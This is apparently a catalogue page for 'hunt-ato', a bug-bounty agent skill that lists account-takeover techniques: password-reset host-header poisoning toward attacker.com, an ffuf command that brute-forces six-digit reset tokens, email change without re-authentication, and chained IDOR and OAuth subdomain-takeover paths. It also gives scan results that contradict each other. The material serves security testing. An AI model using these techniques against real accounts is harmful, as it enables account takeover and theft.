Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add adriannoes/awesome-agentic-ai --skill hunt-atogit clone --depth 1 https://github.com/adriannoes/awesome-agentic-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-ato)<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-ato"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-ato/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-ato"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-ato.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Data Exfiltration · line 19 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00222 | $0.01066 |
| Opus 5 | $0.00111 | $0.00533 |
| Sonnet 5 | $0.00044 | $0.00213 |
| Haiku 4.5 | $0.00022 | $0.00107 |
Grade A, and why
hunt-ato scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 59 lines — stays where its author put it; the contents beside it link to each section on GitHub.
13. ATO — ACCOUNT TAKEOVER TAXONOMY
Path 1: Password Reset Poisoning
POST /forgot-password
Host: attacker.com # or X-Forwarded-Host: attacker.com
[email protected]
# Reset link sent to attacker.com/reset?token=XXXX
Path 2: Reset Token in Referrer Leak
GET /reset-password?token=ABC123
→ page loads: <script src="https://analytics.com/track.js">
→ Referer: https://target.com/reset-password?token=ABC123 sent to analytics
Path 3: Predictable / Weak Reset Tokens
# Brute force 6-digit numeric token
ffuf -u "https://target.com/reset?token=FUZZ" \
-w <(seq -w 000000 999999) -fc 404 -t 50
Path 4: Token Not Expiring
Request token → wait 2 hours → still works? = bug
Request token #1 → request token #2 → use token #1 → still works? = bug
Path 5: Email Change Without Re-Auth
PUT /api/user/email
{"new_email": "[email protected]"} # no current_password required
ATO Priority Chain
- Critical: no-user-interaction ATO
- High: requires one email click OR existing session
- Medium: requires phishing + user interaction
- Low: requires attacker to be MitM
Related Skills & Chains
hunt-idor— The most reliable ATO primitive that requires no email control and no race. Chain primitive:PATCH /api/users/{victim_uid}with attacker session + victim UID +{"email":"[email protected]"}→ trigger password reset → reset email arrives at attacker → full ATO with zero victim interaction (Critical path).hunt-mfa-bypass— Password reset / email change without re-auth is only Critical if it bypasses MFA too. Chain primitive: password-change endpoint accepts new password without current-password challenge AND without MFA step-up → cookie theft (XSS or token leak) + password oracle (timing diff on login) → set new password from stolen cookie → MFA-less ATO from any IP/device.hunt-oauth— OAuth misconfigurations are the highest-yield no-interaction ATO path. Chain primitive: OAuthredirect_urivalidation accepts subdomain match (*.target.com) +hunt-subdomainreveals a dangling CNAME onstaging.target.com→ claim that subdomain on Heroku/S3 → host an OAuth callback there → victim clicks crafted authorize URL → code lands on attacker subdomain → exchange for token → ATO.hunt-misc— Host-header injection on password reset is the canonical Path 1 primitive. Chain primitive:POST /forgot-passwordwithHost: attacker.com(orX-Forwarded-Host) → reset email constructs link from request Host header → link points toattacker.com/reset?token=XXXX→ victim clicks → token leaked to attacker → ATO.security-arsenal— Pull the Password-Reset Bypass Tables for host-header variants (X-Forwarded-Host,X-Host,X-HTTP-Host-Override, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), and the always-rejected list for "rate-limit on /forgot-password" reports.triage-validation— Run the Pre-Severity Gate before claiming Critical on an ATO that requires the victim to click a link AND enter credentials AND complete CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough on test account B from attacker A's session) is what separates Critical-paid from Self-XSS-tier rejected.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 59 lines · 222 tokens per session scan A 729acb269d65
hunt-ato is a skill published in the GitHub repository adriannoes/awesome-agentic-ai (57 stars, last pushed 13d ago), licensed MIT. It adds 222 tokens to every session and 1,066 once invoked, about $0.0011 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
browser-qa
A browser-based quality check for deployed web pages and user flows. It uses browser automation to test rendering, navigation, forms, interactions, responsive behaviour, and accessibility-related issues.
alibaba-supplier-outreach
Codex-native supplier sourcing and outreach workflow for Alibaba using LaunchFast research. Use when the user wants supplier shortlists, outreach messages, reply triage, or negotiation support. Requires supplierresearch. Browser automation is optional but useful when the user wants Codex to interact with Alibaba…
separateweb-capture
Capture a URL into a full-page screenshot, cropped UI item PNGs, and a JSON manifest. Use when the user says separateweb capture , asks to capture a website, or wants UI extraction assets without running the SeparateWeb web app.
importing-a-codebase
Use when the repo holds real source code but no specs: the existing-codebase branch of setting-up-a-project, normally reached via that dispatcher, directly only when the situation is unmistakable. Not for empty workspaces (starting-a-new-project) or feature work in a specced project (brainstorming).
starting-a-new-project
Use when the workspace is empty — no code yet — and the user brings a raw idea: the brand-new branch of setting-up-a-project, normally reached via that dispatcher, directly only when the situation is unmistakable. Not for features in an existing project — use brainstorming instead.
todos
This chat has a shared, live TODO plan — your tasks for the conversation, which the user also edits. Read this skill and reach for the todo tools whenever a request takes more than a couple of steps. It covers the plan model (group = task, items = its steps; loose items are the user's lane), how to work it: propose…